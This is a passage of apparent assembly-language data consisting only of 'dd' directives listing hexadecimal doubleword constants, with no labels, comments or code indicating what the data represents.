0D35C9646h dd 20F5903Eh, 2DF59BC0h, 1990E407h, 0CB45051h, 3107E9B1h dd 0EEAC32Bh, 0CA5A8027h, 0C080CE2h, 663C0B05h, 0DD715919h dd 0FD6088A8h, 5D33EDDDh, 5A501585h, 40516957h, 57288431h dd 2853E9B0h, 301B81D3h, 15E6D903h, 0EC5916A5h, 4ACE895h dd 15F2086Eh, 12C7F1C8h, 183C0E74h, 37D52089h, 0BD1C6900h dd 7354D688h, 5FFD1329h, 0F8958031h, 1B4AE4E9h, 4254C3B3h dd 81EB623Fh, 18459B19h, 92B3D125h, 0C1B7EC5Ch, 9F68F9F7h dd 0B00D352Bh, 9A4FF550h, 3E174CC8h, 2FFCE452h, 3B291F8Bh dd 80DF6A91h, 74B42D2Dh, 602962C2h, 254DD2C8h, 0ECC10C75h dd 51065C95h, 0E703B229h, 74CA14F0h, 46BD90FFh, 85B06C83h dd 0DB1B7E0Ch, 14B5362Eh, 0F8B2E2B8h, 59513F20h, 362449B3h dd 76552E62h, 6B5EA10Eh, 20396346h, 8090506h, 744C7FE9h dd 0CC48A78h, 0C3BA837Bh, 1E1DA4Eh, 0B7E53CD1h, 0A3ADD3h dd 0BB5346E8h, 447C796Ah, 5B5B7F8h, 36A85DD8h, 0B91D74B3h dd 0C3D5F101h, 4F444CB6h, 5C535B22h, 71512F86h, 0C93B5669h dd 3D200F4Ch, 0E62D0546h, 0F1152B4Fh, 590707DCh, 305B9291h dd 10283964h, 0ED05BF6Ch, 5E406E2Dh, 742741ABh, 701B3A4Dh dd 2F1784A1h, 0AB0C4944h, 16AD2E03h, 0A014A851h, 0C741B21Bh dd 41A4A230h, 0CD4020C0h, 0DB4052B0h, 6E5C01B9h, 0F1810A72h dd 1918D447h, 1709E9ECh, 9136A1Ch, 0D3FADED7h, 44AF34B4h dd 16D4DE1Eh, 90662868h, 7194BF69h, 0E5C9049Fh, 73CBAC0Eh dd 0EC799729h, 0E9C20DB4h, 44A9D13Eh, 0E8EEC89h, 4FC18851h dd 0AF1046CEh, 60B90615h, 0E05AAB14h, 0A12DCF0Ch, 1372F835h dd 0A42A6BE1h, 0E380DAD9h, 0F623007h, 926B910Ch, 0E65B2E2Dh dd 820DD236h, 9F5E873Ah, 5A64E551h, 76681353h, 0A6E63478h dd 0EC5C2C6Dh, 3B8E888h, 0EF34B3B0h, 0D8F64CD8h, 2CC0FE03h dd 1C5887Bh, 2099B660h, 2F79E9F5h, 0ADB53C00h, 3A28512Ch dd 593904E8h, 83108B5h, 29094EA3h, 0DCE409C7h, 4B1C4246h dd 0B2E952FEh, 0E66E4A2Fh, 0B0F3BE63h, 0C201B212h, 0AF5D1628h dd 0B4760782h, 5B3EDE2Ch, 680942E3h, 77541442h, 56069A60h dd 44350431h, 0C83D2C05h, 209E008h, 0E216E940h, 270877D4h dd 1E23029Bh, 14C10E8Eh, 5B590801h, 0CCF3C90Ch, 0D26DF7D6h dd 95291308h, 34306D41h, 738D09F1h, 36F62783h, 0DD11E058h dd 0F49D932Bh, 95A0CD97h, 0F2573F3h, 2841B311h, 9523029Eh dd 0A1ED6400h, 1448273Fh, 5B312007h, 0DA5DD85Fh, 20F94CB7h dd 555B5184h, 5409742Bh, 0C0ABE9h, 25B50A8Bh, 85F1CEFBh dd 4B58B168h, 0EC28BFE4h, 334EE9h, 3256B879h, 0D2F576DEh dd 0D196B0D0h, 0DA4268A6h, 0AD1A752Bh, 0E950FD54h, 0F2E44E8Ch dd 4FB859C6h, 0E9152C9Ah, 0A15ABBAAh, 83B323DCh, 0F29E7E9h dd 951E2CDh, 70150B76h, 1B9D93F8h, 0F70D13EAh, 5B5245D7h dd 8336C2C1h, 6B681E41h, 0BD108824h, 0CF0B7FD8h, 5E7D810h dd 0D2202053h, 121831F8h, 0D0E511E9h, 0B0768A2h, 0F34A0896h dd 5014CD02h, 92AE4067h, 658A949Ch, 13FBC53h, 224548Ah dd 8815C88h, 0D2F65B66h, 0AFDD5186h, 50F72D4h, 0FF828CDh dd 0D48F7887h, 7A1C6008h, 544FE240h, 0B450AF5Ah, 475FA19h dd 15E1E237h, 506FBE1Dh, 0C23BD38h, 0E99A1BABh, 4FA15A28h dd 0ADBD5359h, 8068018Dh, 5F550F78h, 0BDC60370h, 7C4C7592h dd 0E9DF2909h, 525F7C71h, 31180340h, 6368C80Bh, 0CAD53066h dd 2F588149h, 205BD402h, 10E57AD0h, 3B1991E9h, 1D671757h dd 91D34AACh, 269659E0h, 37317969h, 2C587A7h, 6604B127h dd 0FE364468h, 58B3BA47h, 8D2587D9h, 966ED807h, 0E07AA4ECh dd 0EBC583E8h, 77CDAE22h, 373A13A0h, 34ED75F7h, 30058DA0h dd 5582BE2h, 0C4A00613h, 0A801005Ah, 0C1D5F742h, 514808E5h dd 0E09920A7h, 0C28012FAh, 1CD9F33Fh, 0D01D882Ch, 6FF24F7Ah dd 0F16CFDD3h, 1D042F83h, 16A1C9BCh, 0BFBA99Bh, 0FDEBA59Dh dd 12136BCCh, 0B614CE2Dh, 0CDA469AAh, 0D4B832E6h, 0DFBE13E1h dd 2D922BA8h, 0D4643F27h, 5F2501B8h, 9CDFF8C2h, 8401F7FDh dd 2B982E38h, 40E74FAEh, 0BDF79DBDh, 0F02C2934h, 902645Eh dd 4053784Ch, 30587E7Bh, 610C2CFFh, 42093F4Dh, 0CBCFBCE9h dd 8253139Ch, 7886B2E8h, 0B0FEC32Eh, 0CC379983h, 0B40AD10Bh dd 968D443Fh, 0CF14BC9Bh, 9429D3D2h, 0C6DD983Bh, 0D2024CE0h dd 0E9EE0111h, 0BBDDC818h, 5A7C1E8Ch, 60266Ah, 20BA58A6h dd 0FCC8D801h, 0E7C1062Eh, 18FEDE04h, 0B578020h, 9A6CCB75h dd 9AA0A81h, 0CF82701Eh, 880CBB8h, 0B6090559h, 787AB842h dd 0FF078120h, 0F25AAD63h, 726500FCh, 0CA813D7Ch, 315F24D2h dd 533409B0h, 0C97D272Fh, 0F4F9BD0Dh, 0D173424Bh, 460D096Bh dd 659F3F94h, 70DE267Dh, 60C0F2DBh, 0AC4E76BFh, 0B6A2F479h dd 0A8F61703h, 26053D90h, 6882044Dh, 8218164Fh, 0BD25DEEh dd 3A8026E2h, 7E791A6Ch, 665BC09Fh, 0E91B135Dh, 0C729A485h dd 0CC3C3916h, 9DB21004h, 0E9D230ECh, 985A7CBDh, 944FE7E2h dd 0E8980097h, 0B84BDB07h, 310BEC61h, 95305AD0h, 0B05914C2h dd 0F23FEC1Dh, 9FF6AA8h, 0D8ECE9DAh, 965CFAC8h, 89AE8C0Dh dd 2D38FCF8h, 80CC6F4Ch, 284CC96Ch, 9BA37709h, 9C5E8ABAh dd 0C3CAFE42h, 54EAF041h, 0A6B4B430h, 4AE22FEh, 124DECB9h dd 8A00EB1Fh, 831C02F1h, 0BAE92D0Ah, 0D299CE63h, 50EF055h dd 0FB528016h, 5F041EB8h, 822EBAF0h, 0F665C503h, 607E78Ch dd 13D5B006h, 0BDBAC2E9h, 1BB20458h, 68D4D128h, 20BD49A8h dd 842F2D9h, 0C027486Eh, 0D680A7E2h, 7BF0C61h, 0C205D170h dd 0E9D32780h, 958EB20Ch, 473B0F53h, 9218F24Fh, 0BA74FAB9h dd 0FB50581Ah, 5EAA0D85h, 0DB750B29h, 708AEF10h, 5D122D1Fh dd 74B96A09h, 0D6BABBB4h, 29439A04h, 4B5487F9h, 7641ABB1h dd 0D28B483Ch, 49E9E1E0h, 0C74BB76Ch, 0A0B785D9h, 6EE768F4h dd 2A30E68Dh, 922A58E4h, 0C84821D2h, 44AB0592h, 12A174F0h dd 4BE2DFC0h, 35610054h, 2FA622D5h, 878E0C1h, 8F262801h dd 58C589BFh, 0E5DA007Bh, 7A6425Dh, 0DA09F5ECh, 8E14FA60h dd 0EFFE22DBh, 5BBF78EBh, 80E1D85Fh, 4F95B152h, 0C614F8F5h dd 58882BBAh, 2C11669h, 9A6704D8h, 0B0B9023Dh, 5306A729h dd 1693B086h, 2DDB5252h, 0F817A92h, 4A3503E0h, 0D42385E7h dd 510D7F7h, 4012FFEBh, 0A9A21BFCh, 5B0B82D4h, 68DD815Fh dd 643C7E27h, 0D1002BDAh, 5A0288CAh, 9646E919h, 56E15487h dd 15D868D1h, 985E7808h, 0F723EA8h, 1EC15B12h, 4F24F65h dd 525E1F43h, 468D01BDh, 0E710213Eh, 78BF6FAh, 0F21F3273h dd 720347EEh, 283EA15Ah, 7B06762Ah, 0D1411AEAh, 17C22A1Ah dd 0AE5E0805h, 0AB922h, 7463C8B9h, 39BE0C00h, 1F38B9Ch dd 2E919CEh, 7F29CCC4h, 4E9EAD40h, 128734A8h, 8047E9EFh dd 80B0B3D7h, 0D84CC32Fh dd 0E11E90CAh, 25C5D1C3h, 0CB82EDF4h, 50854920h, 0C372BFC6h dd 0B607501Bh, 50D449EAh, 45C44B53h, 0E1F8E9E0h, 0E4932B55h dd 0AD8B3F22h, 0E9F4CE12h, 0C3E73092h, 1E07EDC0h, 0CCFACD80h dd 0BE541838h, 0D3277A0Bh, 0A0AA0E05h, 0F7282E12h, 4004D6D9h dd 0E05DFD1Dh, 1C4810E9h, 2D028026h, 4A262B0Bh, 0FBAE8069h dd 0E93E220Eh, 9D55C120h, 7383894Eh, 0E65FCFECh, 3E5C48F5h dd 0E93389E3h, 59AAA694h, 906813D3h, 650F603Eh, 78B01A07h dd 0F1017625h, 42FBA569h, 0C81F0BC9h, 0D3BC5D4Ch, 7B73F166h dd 94D6BC8Ch, 3368054Ah, 13C5E05h, 6281756h, 4C276C5Fh dd 3EFB0477h, 0A4843F3Ah, 7AFC3DE5h, 68381203h, 1D73C429h dd 0AD914B08h, 0BBF94AFh, 7B1093C4h, 793B7480h, 5C33BE6h dd 125326Ch, 86510AEh, 0E9525F06h, 0B31FD390h, 0BFFCD01Dh dd 0FAF35B4Fh, 9C790C93h, 890BEB65h, 5361F07Ah, 0CE9B095Dh dd 173EA065h, 9ED7F171h, 54DE7072h, 6CC56084h, 2DB3503Dh dd 252D5F16h, 0C6E1B020h, 8F29E92Dh, 4554A295h, 64FB5443h dd 0B52E92EEh, 0C05C9E61h, 109D2CE8h, 9E78E9E1h, 0DC8439A1h dd 0FE4A5014h, 162CBE04h, 0EE020214h, 24F0666h, 6DA04A43h dd 217C19CAh, 0F5D4Ch, 272C6301h, 3D5EF389h, 0FF2E3D1h dd 2E5657FAh, 0E810EB0Ch, 3ABA431Fh, 2A9FF380h, 2D0BDCh dd 59C65CB0h, 4F69FD05h, 0D829411Fh, 0E9250728h, 4CD98B4Ch dd 3BFBA1E5h, 0FC750693h, 0BA6275Dh, 0E5DF5E15h, 0C5FDE25Dh dd 41EBCABCh, 0BF754C16h, 64A2306Fh, 79E33112h, 89DC13h dd 0FAAE2F41h, 1A45FF05h, 23B82C42h, 0BD5609C0h, 0F07F016Bh dd 3913F45Ah, 0D202238Dh, 6111C25Ah, 5B00B6E8h, 0AE5EB551h dd 382173B1h, 0B0666B70h, 417D243Dh, 569FC0D6h, 0CCC0771Ah dd 94B1E0FAh, 0C0D95EE9h, 6E055FBBh, 39B0461Eh, 5A90BDD3h dd 3B7326F5h, 0CD027E02h, 6787553h, 7A072CDCh, 0F197FFFh dd 95EC3326h, 0E1691A9Eh, 3D385CC0h, 0D68079BCh, 817A8011h dd 131209E2h, 0C00664Fh, 3B34DB2h, 0C5EA0125h, 32328D2h dd 1CAE07C1h, 0C6F2D601h, 9E5A0887h, 21712F2h, 6350319Ch dd 0DC6A2C41h, 8BB77D6Bh, 9FF096Fh, 0E76D8215h, 0C696198h dd 0E8D916A5h, 8DE1CB03h, 0EC90059Ah, 0F235EE14h, 0B9660BE8h dd 62A45602h, 90D50C53h, 0D2321697h, 592C16CCh, 38450CA9h dd 0F868173Ch, 1E89AC5Eh, 9A82AD1Ah, 804C9D20h, 72586FBDh dd 0EDC10B04h, 826F8E04h, 816BB96Eh, 880620B7h, 345B925Ah dd 12A6E957h, 13408A1h, 46F4C002h, 62794074h, 0AFA4BD0Dh dd 0F1B3B52Ch, 885A6425h, 0CE59CC32h, 0B6EFAF1h, 111061EDh dd 1F6F9903h, 8FEEC735h, 0A1DD2AA2h, 206A1149h, 0C010993Dh dd 0C1BA028Dh, 400ED72Fh, 2E7AADA6h, 31B4A42h, 0B860D84h dd 240B870h, 95EC7880h, 0F2B04FE3h, 30ECD0C5h, 40E9C217h dd 0DE01C541h, 2861295Bh, 602E7561h, 0EB0558C9h, 4D5C0D72h dd 129F1C23h, 81E174D7h, 0E9A30343h, 0D820278Fh, 0CF6897AFh dd 4582F838h, 62F12C0Ch, 0BB002506h, 14F914D5h, 0FDD3F712h dd 2E11F4Ah, 1F9E5813h, 0B8072275h, 0F8290223h, 0C510E1h dd 5805CB81h, 0D948484Eh, 0F7C02E3Eh, 205ADA4Ch, 15916C6h dd 3063ECDFh, 31FD6195h, 6F09E067h, 4EDBF0D9h, 0A57DFC99h dd 4EBCD818h, 2F4EF750h, 160F785Ch, 612FD668h, 0AD8CED07h dd 0B096405Ch, 32F195A8h, 0E03EC980h, 9C886837h, 3FE90B5Eh dd 55526860h, 0B8805A5Bh, 4A075F6h, 0E9D5316Ch, 6851D02Fh dd 0E69D3D1Dh, 4F3A0918h, 40804EB7h, 63953BF6h, 61342E9Fh dd 36AF5193h, 0FA616860h, 0E92A0986h, 5D65208Ah, 0B726E3A6h dd 171C5E4Bh, 20BA813Ch, 42827BC1h, 384EF059h, 0E33097B4h dd 0FCCB8016h, 0E02813B0h, 0F1F2A408h, 56F6BA25h, 28F303A1h dd 223B59CBh, 0B8A14BC9h, 59AD06D6h, 312E7F2Dh, 36205150h dd 58321729h, 12481760h, 1E61AAFAh, 58022D81h, 2545562h dd 535B026Fh, 3F127557h, 7D3F537Bh, 51814AE4h, 177AB5D9h dd 0F8BD98ACh, 7CC0C882h, 2D54829Fh, 0B79FC669h, 0BBA14D60h dd 5140B6B6h, 3B25250h, 80EAD057h, 0E298CECAh, 0C248FE3Ch dd 0D7B424C8h, 3D84CC13h, 11022AEh, 20298540h, 0DE7B1ABFh dd 0BFC5A57Bh, 0BB917B27h, 0BE1930B6h, 2D16C497h, 3CA934C1h dd 21451E02h, 0C214B754h, 378E4008h, 0FD64A855h, 0EDE62AC6h dd 0BC50F194h, 82F341A3h, 1FF23F5Ch, 860F7F0Dh, 1DE118D7h dd 91821CEh, 8F56732Eh, 0F0106432h, 7F182F0h, 0BDA11AEAh dd 6B66C331h, 4340BF0Dh, 1F90016Eh, 60558734h, 3C1E2091h dd 0EA17764Ah, 4A56DEB0h, 84B8E9FEh, 0C0162129h, 0EC886413h dd 0C4D4F680h, 0FFB00EF0h, 72F00929h, 523594BBh, 0C92841FEh dd 1842BF20h, 2B8DC8E9h, 10B502ECh, 0B207CBBh, 0EDFE9EAh dd 0E1FCFE2Bh, 0D46E580Bh, 70D1C91Fh, 74DC72C1h, 4B2FC7F9h dd 0E47E4F9Fh, 0E9030630h, 25009654h, 0E8A43F71h, 0E9E7A127h dd 0D16B8AA2h, 3DB908E2h, 3737DFB0h, 4C1495F2h, 0E2B62739h dd 6F2062CCh, 0F12812B5h, 3E98F85Ah, 139D7DEBh, 90B28F14h dd 0F0C78923h, 0A4E0836h, 5D02A43Eh, 559C7EE9h, 0DF9C19E6h dd 16164089h, 9A4D333h, 936639D4h, 55E4B00h, 31C4356Ch dd 5023182Bh, 255850F7h, 3913DC70h, 59E84074h, 0F8A254B2h dd 71FCF301h, 69667E69h, 253BFCDBh, 550491F9h, 92C8E2Bh dd 90A30DE9h, 0F05EA25h, 0FE2978CEh, 3A7E55A9h, 97C8F097h dd 12B95839h, 9D3F03D6h, 1CE60B5Dh, 806AC945h, 0A83BFD58h dd 962D7B7Dh, 843044A7h, 0C36813E3h, 8473C92Ch, 0DF8E9F8h dd 4C0F4B4h, 1197472h, 480810F9h, 50B260ADh, 0EF5ED05Fh dd 3B48EF79h, 0ABEAC44Ah, 0E1ECD18Dh, 24DABAD9h, 52655934h dd 80258C1Bh, 0EBE3180Ah, 2FBD1316h, 0D9619131h, 44D826A2h dd 5B2A68AFh, 0E92F1D69h, 0D1806041h, 598299E6h, 17133AC4h dd 0F24B488Ah, 67762452h, 5149BA6h, 607E0BBFh, 0E69502E0h dd 42AF5622h, 0BA515455h, 0B8427568h, 97350041h, 10752847h dd 0A61E1A02h, 7C012D6Ch, 3774195h, 0CD8E20ADh, 0D321780Ch dd 9008841Ah, 0C0609A0h, 0C004761Fh, 8F38FF44h, 0BA81FF73h dd 1D2934B9h, 0D6D0606Eh, 5CC14180h, 97A03E1h, 4EF9E7EEh dd 67099256h, 0CD7E7C0Bh, 0D6F22ACEh, 29D25CE1h, 88791047h dd 5809E84Ch, 8451DC30h, 3B18E4A4h, 16AEC253h, 863567Bh dd 680BB303h, 0A244708Eh, 591555E6h, 9FBCE90Ah, 9CB14EA5h dd 93310D0h, 72A0D8E9h, 0A0555B0Eh, 0F3BECE27h, 0C08DB440h dd 310273E4h, 800D08ECh, 1BB760F4h, 8835B792h, 4BFACF0Bh dd 34ABB827h, 0E9F057D4h, 75B25E4Ch, 0AD31EFAFh, 8FA687DEh dd 370D0077h, 35724567h, 8029821Dh, 0FCA47ADh, 0B4D266E9h dd 4079590Dh, 0F1C4D72Fh, 5DF0BC79h, 0E64A7537h, 1F7E1208h dd 580C70EAh, 184A0368h, 0B5FBD38Ch, 36F4C509h, 0A86C1A59h dd 87228458h, 9BF5C15Eh, 49475CCEh, 13935B04h, 0E81309F6h dd 0A61E215Dh, 7E8205DEh, 0B8AEA0B0h, 2F819BEh, 68D9BF59h dd 7342DE76h, 12BC0171h, 43F904D4h, 3CB5A197h, 6EDB4D4h dd 4BEC6808h, 0E281E909h, 0FF12DD31h, 98FEC62Ch, 103B9581h dd 4620A8E7h, 0C911C9A0h, 89B9A416h, 0BE4AE60Ah, 0E3C189h dd 0DCEC3B3h, 303D7E2Fh, 0ED1DCB57h, 2A984505h, 0AB95A20Ah dd 925C601h, 0F604756Eh dd 0B2A0870Eh, 14D74488h, 9C05F849h, 685102ABh, 0D79841CCh dd 8816F3B4h, 0C00F58E1h, 0FE1A209Dh, 60E8C0C8h, 2C060605h dd 0C10430CEh, 0BDEB8058h, 0CB28E703h, 6DE7C75h, 18D5D1E5h dd 0D601F170h, 0F27A5A73h, 0F32A3C27h, 92ADBD94h, 0F6DEDF09h dd 0CFD5E0C4h, 0EB8E4BAEh, 0D0681EA1h, 5016675h, 2AFE2F82h dd 0C66E67A1h, 429813C6h, 4B242CB0h, 3D0B0F22h, 680D30D8h dd 8F51E706h, 2D6B8CE3h, 0A5552EF3h, 50ED9364h, 7523A089h dd 7202D8F7h, 4B823090h, 133DE47h, 1176C4E7h, 0EBC701Eh dd 3B05221Fh, 299FEF07h, 87E90651h, 0AC4A2928h, 0F70DD81Ch dd 200B97D6h, 2BE523A2h, 0F50B674h, 0E0C85BAFh, 854BD1ACh dd 0E15D88CDh, 982586E1h, 926E8A01h, 0E0BB5300h, 200414B8h dd 5E5BDD01h, 68B702AEh, 195527F7h, 0DD3E74B9h, 5C638DCEh dd 84BC14D3h, 0CA8379C2h, 0BAEAE898h, 0A7201445h, 4601AA3Dh dd 0C13F6B47h, 2D6A78E2h, 7FDAA9h, 0F8F9BFBAh, 6457B951h dd 0F743AF0Ch, 13AACD1h, 0C13ED523h, 214B02EBh, 805DD29Fh dd 0FE15F3D1h, 0BCF94B46h, 0EEB35E54h, 66828B91h, 0AD64BB0Fh dd 50BD3160h, 753929B8h, 670CB5D1h, 513668Ah, 5A074780h dd 42962624h, 1CDF092Ah, 0C25E2A72h, 3079A26h, 3E80F181h dd 4829E7F9h, 0BB848FC8h, 34EE1216h, 0ED0D844Ah, 0AEE91645h dd 5A2C42E0h, 0EA8D897Eh, 0CC81421Ah, 6DD295E8h, 4BEA2D06h dd 13727B15h, 0F4AD2BE9h, 0B4BAF9C2h, 0F20524Eh, 0B7D78957h dd 0EA64D58Ch, 30617601h, 0E45BE938h, 1069F79h, 46024E10h dd 0C3B82097h, 76F325CFh, 0CCCB0963h, 3C8F0358h, 1F40BE21h dd 6A8D4072h, 2C09202Eh, 6631FDE9h, 4B990049h, 0F78114ABh dd 0A448160Ah, 875C2441h, 67D6BD81h, 0A97424F4h, 17F50281h dd 1B2AA6Dh, 0B82462DEh, 0F68B52AFh, 24697CDh, 5746E295h dd 2B88B3C5h, 0E6810044h, 1BF85441h, 1FC3D15Bh, 451A3B1Eh dd 0C89DD612h, 68975970h, 11B6871h, 5B5D6E0Eh, 6E38E943h dd 24F61113h, 0F060914Bh, 774789D1h, 52EFD63Ch, 0E9435051h dd 0DCABD463h, 0E14FF718h, 53C979A6h, 75982800h, 893A7159h dd 0F65028CBh, 8331B000h, 42E2D14Bh, 76EA67C1h, 7D29E1CAh dd 0ABF2D844h, 0F35CE5EDh, 0E9F3D8F8h, 8889D92Ch, 1CDDBF01h dd 297119B8h, 64F25721h, 397C0B1Ah, 0B1D479D6h, 0F65E3782h dd 81E05D1Ch, 0F8044BD4h, 0FEE6E983h, 1484AD9h, 7D251648h dd 5350167Ah, 2DC24999h, 0BA4B02DBh, 0D2EA1060h, 0F8218025h dd 65D02397h, 0BE140013h, 5A9B0C57h, 0BD253B9h, 112A6A8h dd 841CEDCEh, 5ED9999Ch, 0BE08A2Fh, 0B05A7268h, 80831778h dd 53ABA66h, 3E6F4C35h, 0EA0A61C1h, 29F85138h, 0E95A12D5h dd 21D4C13Eh, 0FAB52ED3h, 1AF9B241h, 5B2930CCh, 0C09D64D8h dd 702F136Ch, 96A4055Bh, 0CC8E4F1Ah, 0B5F1949h, 524CB4CBh dd 6CC51425h, 2882BD08h, 0B8194A67h, 3412D093h, 7EED405Bh dd 0AA283A12h, 93FBAA33h, 87084FDFh, 0E7098BCAh, 5F7685D0h dd 0E9D2132Ah, 534B2E90h, 0B5B2E2h, 4C22F061h, 0F7984901h dd 0A1BFBECBh, 432D90B4h, 3FEEF730h, 472A4E07h, 54ED9FF0h dd 902F325h, 0E9198243h, 0ECFA485Eh, 384D36EFh, 30110DAFh dd 0F22EBC31h, 990DE41h, 0B6525A00h, 280704A3h, 0D051F02Fh dd 0B4E1099Dh, 742E9D0h, 52253A2Fh, 0EF8C52B1h, 1E61D041h dd 1B610214h, 0EA57F603h, 0A1A07D69h, 5F282DF5h, 0EFB02F5Ah dd 0E0F44F10h, 5977AFB3h, 1018404Ah, 0CA0FC12h, 0CDE9EF2Eh dd 0D83C0175h, 29CF2653h, 27E4AD9Dh, 94CD903h, 0E8F7B20Fh dd 0B7081F65h, 0BBD7809Bh, 0A47D5132h, 9EAF592Fh, 0D65525AFh dd 2F4CE06Dh, 0ED7ABD08h, 29219806h, 9DA58C5h, 3C10191Ah dd 3D7E7550h, 3008C39Dh, 83F002D2h, 0CB4DDE4Fh, 3FE140F9h dd 5B636EB7h, 5362B4D2h, 0E358140h, 433F7BC6h, 7765F2AEh dd 0ABED8278h, 2974C92Eh, 708F778Ah, 0B51EB1C4h, 8DECB8Bh dd 0EE4DDAFAh, 0AD543B76h, 2A8720Ch, 4C423868h, 56E85E61h dd 7EC0F23Ch, 7EEDCCC6h, 16564E20h, 504FFD3Dh, 0CA5AA58Ah dd 31131DF3h, 0C46CECC0h, 4BAE8F88h, 37E2E7D4h, 7968DB40h dd 3BF3185Fh, 0E880885Eh, 0E00AE16Bh, 253326C9h, 0C3490607h dd 0F7042ADFh, 2DC2C040h, 983A43EFh, 63113146h, 90DA0C4Eh dd 376582B5h, 32798BA9h, 0C05BEAA7h, 82B32AD0h, 0FCC0A77h dd 0BE340706h, 961F201Ch, 69965550h, 682513B2h, 8A107E58h dd 427F9264h, 12D4807Ch, 42A6094Fh, 0CB1E56C3h, 0C7104889h dd 0CB9DE1F6h, 0D368A0DBh, 0E8E95F62h, 449E71CDh, 8501FD52h dd 4CA35AE9h, 371F3A93h, 0F117352Bh, 7225A5B0h, 33E61E24h dd 0CC54C948h, 524BBFCEh, 5D662902h, 870564Bh, 0D81607E7h dd 0F137010Bh, 526A0234h, 0AA856771h, 41AADDCh, 68322C65h dd 74C81A80h, 2235A4Eh, 479802D4h, 8103CFC8h, 0B0CE207h dd 226F511Ch, 413BAD9Ah, 8F41D69Eh, 67025EEh, 0F4295043h dd 76312F68h, 0EA4CE898h, 181E017h, 9DFB65E0h, 232643D3h dd 667F27AFh, 17C36E59h, 0BC785368h, 581ED172h, 0FBBD4A2Eh dd 0EEF4AFCBh, 6C7F8F42h, 0A6E7207Ah, 0F1537B9Eh, 5B02221Bh dd 25BC3F6h, 2DDABE40h, 0FD61687Fh, 6DB32008h, 8F881851h dd 0C65B1C0Ch, 90E4E25h, 0D0F4158Dh, 773A4F00h, 81987DA7h dd 5FC48754h, 0F360EE9Ch, 486203A5h, 0B4EF738h, 0BB98337Bh dd 0E3B78864h, 59D33B00h, 1E614A25h, 0D4E9E72Ch, 636B23A2h dd 232196Ah, 0B466B920h, 0D980AF7Eh, 4CE1254Eh, 0A8CE2934h dd 1590802h, 614F7EF7h, 78F329E9h, 9168C296h, 8898A25Dh dd 7712FD15h, 21FC4FCCh, 171CC253h, 5530380Bh, 0BC5E5456h dd 0EBD9C747h, 0D2E49376h, 9D39E5B4h, 0F5BD0480h, 785FDE64h dd 0E5309BF1h, 0C751262h, 3D261E77h, 0CA008D1h, 0EFD2D217h dd 125CD47Ch, 0A2E4CCE9h, 0A7F45B13h, 17AB6B11h, 2E4CB5D4h dd 0D88E9791h, 1A62FCD7h, 75287E57h, 0B6980634h, 5424C867h dd 69D57E5Bh, 47FA338Bh, 4BB7A298h, 550C01A0h, 0E9619414h dd 0BBCD3427h, 0DB11A112h, 92C33600h, 0C16B2C1Bh, 72D2FF2h dd 82122EBAh, 54F4CDD4h, 51A74C65h, 8A58E4F5h, 31B3BE5Eh dd 0A7E8C52Eh, 71A049B4h, 331663EDh, 0CF212947h, 0B440558h dd 0B0F549FBh, 0BBFDACC3h, 84346C14h, 45ADD25Ch, 0BBFA75D3h dd 7056D609h, 86E0B732h, 88807DA0h, 3BD0E4DAh, 0C7175B5Ah dd 2187A158h, 3E18EDB8h, 0B529442Ch, 92519242h, 0A885ADA4h dd 8E00D164h, 0C91428C7h, 0EEF7EC4Ah, 9055FE5Ah, 6FB64912h dd 5B2554C4h, 5D5ABA50h, 88539B8h, 62354630h, 4E3C128Ch dd 0F74C9055h, 7A722B65h, 89D7E917h, 54C498F8h, 0F8CFABBBh dd 0A9223313h, 0D69A9113h, 0DE591D04h, 8304FD14h, 0C00C3C5Eh dd 10CE8AFBh, 5E16774Eh, 9606ECB0h, 244B3C1Fh, 9A31BF3Ah dd 70112F63h, 0DEE2782Dh, 20FEA352h, 96802D0h, 69894853h dd 31B20449h, 20BB34EEh, 3A793FCBh, 0AF056E02h, 550B8A21h dd 0A150DF04h, 1B26400Bh, 2609515Eh, 720C81E9h, 0A8C52073h dd 80FD281Dh, 856610C9h, 4AACD4C3h, 0ACD6E9C5h, 7B694291h dd 16EAC635h, 0FE16DEADh, 0D6C1B82Eh, 0A78C2104h, 14C179BCh dd 2F3A5069h, 65EEB8C0h, 7A912E3Dh, 38FE0370h, 1803498Eh dd 1A40471Fh, 75C4B429h, 6E650813h, 2C546EAh, 0BB9864A5h dd 72F256ECh, 0BF710095h dd 7ACE42A7h, 5435F13h, 0AF6C0151h, 7AB1B030h, 0A8614877h dd 4D386C4h, 32D85854h, 7555012Dh, 0B3E923E5h, 66149307h dd 1A794CF8h, 602E2C0h, 0D350D605h, 0B8AA5893h, 9ABAF4E4h dd 37F7ED07h, 0E56776A0h, 3DC45741h, 1324F5F0h, 0BC088044h dd 830288B6h, 27D8E952h, 40BA0D02h, 706F7061h, 39449548h dd 3524C509h, 0F312A8FDh, 28E68308h, 65A01570h, 0C22DD723h dd 55E62421h, 0F281C889h, 3468EF1Ch, 615B7C72h, 18801693h dd 4D765A88h, 1A9DB5E9h, 15027572h, 7C6CAC71h, 0BB02794Fh dd 667EEC68h, 6B4C94E1h, 0ECC0AB04h, 97AD9293h, 0AD385062h dd 51B4B566h, 0EFC3C8CBh, 0E1719509h, 0BEC247A5h, 2B786D5Bh dd 50218F2h, 15805D11h, 9835A048h, 463F409h, 778C8901h dd 0E14EA812h, 0D2685701h, 5F5D1218h, 819C026Fh, 0D5E016EFh dd 0F526E919h, 0FA84B6B5h, 0B8C7505Bh, 5A58C361h, 4FE9DDE8h dd 0F81895B2h, 7C84C9FFh, 0E07413EBh, 680E0D8Eh, 84735F13h dd 16A22DAEh, 0A9BE5600h, 0E95B0664h, 1AF6732Dh, 7B1DFC7Ah dd 0BC020C22h, 91BA63D9h, 0F04C8F64h, 73C96806h, 9D61EE95h dd 50C5EAD9h, 0F51F2844h, 0FA06F310h, 0C133357h, 3F79B705h dd 0ED87456Fh, 97D74E79h, 634945A0h, 5B4B4471h, 0DA3F8ACBh dd 0B3A4116h, 955E39D0h, 0C64DACBBh, 0EF0BE7ACh, 7FB56484h dd 16134B50h, 65D6EBB9h, 5B0769A8h, 0EBD19981h, 7C08C9C1h dd 7D6809ECh, 4A8C9A45h, 0F9165DAFh, 0E907095h, 40E64905h dd 0AAE9817Fh, 40746803h, 7F0D6DBAh, 1A411530h, 32DB0848h dd 217631F4h, 20E5E477h, 5B7E0A8Dh, 9091C35Bh, 56918AFh dd 3826ABD2h, 68870C90h, 1BD76DE0h, 0AB05E3h, 0C0FD2C50h dd 439601B7h, 9A4223AEh, 0EC50986h, 0AD311127h, 0FA084BCAh dd 0B9540457h, 0E4DD1042h, 79320848h, 97286C0Bh, 88F158C5h dd 76D4EE31h, 0BF265C49h, 99010F07h, 43F3602Bh, 0FA4CB075h dd 0EC705FFh, 